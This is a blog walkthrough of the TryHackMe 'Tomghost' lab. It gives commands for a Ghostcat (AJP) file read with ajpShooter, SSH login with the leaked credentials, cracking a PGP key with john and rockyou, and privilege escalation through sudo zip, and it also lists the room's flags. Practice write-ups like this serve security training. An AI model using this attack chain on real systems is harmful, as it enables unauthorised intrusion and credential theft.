Tomghost - TryHackMe Problem Solving

 

tomghost

Identify recent vulnerabilities to try exploit the system or read files that you should not have access to. 

 

Task 1 Flags

🐈 👽 👻 👿 💀

GHOSTCAT

 

Are you able to complete the challenge?
The machine may take up to 5 minutes to boot and configure.

 

Admins Note: This room contains inappropriate content in the form of a username that contains a swear word and should be noted for an educational setting. - Dark

 

Answer the questions below ------------------------------------------------------------------

1. Compromise this machine and obtain user.txt

Answer: THM{GhostCat_1s_so_cr4sy}

2. Escalate privileges and obtain root.txt

Answer: THM{Z1P_1S_FAKE}


How are we going to solve this problem?

1. First of all, we will open "openvpn."

cmd: sudo openvpn "openvpn file.ovpn" 

2. After joining the room, we can deploy the machine.

3. We will do a scan with Nmap.

cmd: sudo  nmap -A -T4 IP Adderss

4. Go to your browser and enter IP:8080 (the Tomcat server port).

5. Google Search "ghostcat github exploit", downloads Ajp Shooter and unzip

6. Terminal (t1 cmd) open with in unzip folder

t1 cmd: python3 ajpShooter.py http://IP:8080/ 8009 /WEB-INF/web.xml read


 

You can see some text within the line "Welcome to GhostCat." To get the next line, clone ":" before and after the username and password. 

Welcome to GhostCat
        skyfuck:8730281lkjlkjdqlksalks

t1 cmd: ssh username@IP

Enter: Yes

Enter Password:


t1 cmd: ls

(New) t2 cmd: scp username@IP:/home/username/* .

Enter Password:

t2 cmd: file *


 

t2 cmd: open tryhackme.asc

t2 cmd: ls


 

t2 cmd:  gpg2john tryhackme.asc > hash_i.txt

t2 cmd: john hash_i.txt --wordlist=/usr/share/wordlists/rockyou.txt

OR

t2 cmd: john --wordlist=/usr/share/wordlists/rockyou.txt hash_i.txt

get "alexandru"  alexandru

 t2 cmd: gpg --import tryhackme.asc

 Enter password: alexandru



t2 cmd: gpg --decrypt credential.pgp

we can see merlin:[decode text: password] 

merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j 

t1 cmd: ssh merlin@IP

Enter Password



t1 cmd: ls

t1 cmd: cat user.txt

t1 cmd: sudo -l

 7. Go to google search "gtfobins" and find out zip get sudo shell

t1 cmd: [past sudo shell code]

t1 cmd: ls

t1 cmd: cd /root

t1 cmd: ls

t1 cmd: cat root.txt



Comments

Popular posts from this blog

Pickle Rick - TryHackMe Problem Solving

Startup - TryHackMe Problem Solving